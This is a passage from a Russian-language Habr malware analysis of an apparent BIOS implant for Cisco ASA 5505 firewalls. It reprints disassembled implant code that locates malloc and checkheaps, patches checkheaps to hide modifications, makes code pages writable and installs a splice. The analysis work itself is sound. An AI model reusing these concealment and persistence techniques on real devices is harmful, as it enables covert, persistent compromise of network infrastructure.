Приведенные выше функции вызываются при смене контекста трэда.


Далее, посредством поиска в теле основного процесса перекрестных ссылок на строки «duart_open», «malloc» и «CHECKHEAPS…», SCA устанавливает адреса функций malloc и checkheaps. Функция malloc будет в дальнейшем использована для копирования FCA и FUA из BIOS Flash в RAM. Функция checkheaps будет пропатчена таким образом, чтобы скрыть изменения, которые SCA внесет в кодовую секцию основного процесса:


; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x357

;...
   lea     eax, ds:0DC60Dh                ; _td_ctx_ptr @ 0xC60D
   push    eax                            ; td_ctx_ptr
   call    large _find_td_ctx_enter
   add     esp, 4
   cmp     eax, 0                         ; eax <- _td_ctx_enter() ptr
   jz      clear_alarm_restore_exit
   mov     ds:0DC5FDh, eax                ; _td_ctx_enter_ptr @ 0xC5FD
   mov     edx, fs:dword_DFFF0
   mov     ebx, eax
   mov     ecx, 1Ch
   add     ebx, ecx
   cmp     edx, eax
   jb      short loc_DC39A
   cmp     edx, ebx
   jnb     short loc_DC39A
   add     eax, 20h ; ' '                 ; calculate _td_ctx_exit addr

loc_DC39A:                              
   mov     ds:0DC609h, eax                ; _td_ctx_exit_ptr @ 0xC609
   call    large _find_malloc
   cmp     eax, 0
   jz      clear_alarm_restore_exit
   mov     ds:0DC601h, eax                ; _malloc_ptr @ 0xC601
   mov     ebx, ds:0DC609h                ; _td_ctx_exit_ptr @ 0xC609
   mov     ecx, 0Bh
   add     ebx, ecx                       ; ebx = 0x10013B
   sub     eax, ebx                       ; calculate malloc offset relative to call insn address
   lea     edx, ds:0DC611h                ; _splice_pci_43 @ 0xC611
   mov     [edx+7], eax                   ; call 0x12345678
                                          ;      ^^^^^^^^^^ <- eax = malloc() ptr
   mov     eax, cr4
   push    eax
   mov     eax, cr3
   push    eax
   call    large _make_malina_text_rwx
   add     esp, 8
   cmp     eax, 0
   jz      clear_alarm_restore_exit
   call    large _patch_checkheaps
;...

Затем, после патчинга функции checkheaps, SCA изменит флаг доступа к страницам памяти, принадлежащим кодовой секции основного процесса, таким образом, чтобы разрешить туда запись. Далее SCA установит сплайс в функцию _td_ctx_exit:


; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x404

;...
    lea     edi, ds:0DC62Dh                     ; _td_ctx_exit_code @ 0xC62D
    mov     esi, ds:0DC609h                     ; _td_ctx_exit_ptr @ 0xC609
    mov     ecx, 24h                            ; '$'
    rep movs byte ptr es:[edi], byte ptr [esi]
    mov     edi, ds:0DC609h                     ; _td_ctx_exit_ptr @ 0xC609
    lea     esi, ds:0DC611h                     ; _splice_pci_43 @ 0xC611
    mov     ecx, 1Ch
    rep movs byte ptr es:[edi], byte ptr [esi]
    wbinvd
    mov     byte ptr ds:0DC5F0h, 1              ; _main_proc_infected @ 0xC5F0, 0x0000
;...

Код устанавливаемого сплайса:


; `bin/asa5505/SCP28/asa5505_patchEC480.bin` offset 0x611

;...
    pushal
    push 0x10000
    call malloc             ; allocate 64 KiB for FCA and FUA
    push eax                ; pass ptr to allocated memory via stack
    mov dx, 0xcf8
    mov eax, 0x800078d0
    out dx, eax
    add edx, 4
    mov al, 0x43
    out dx, al              ; pass control back to SCA
;...

Указанный код выделит 64 KiB памяти под&nb

© Habrahabr.ru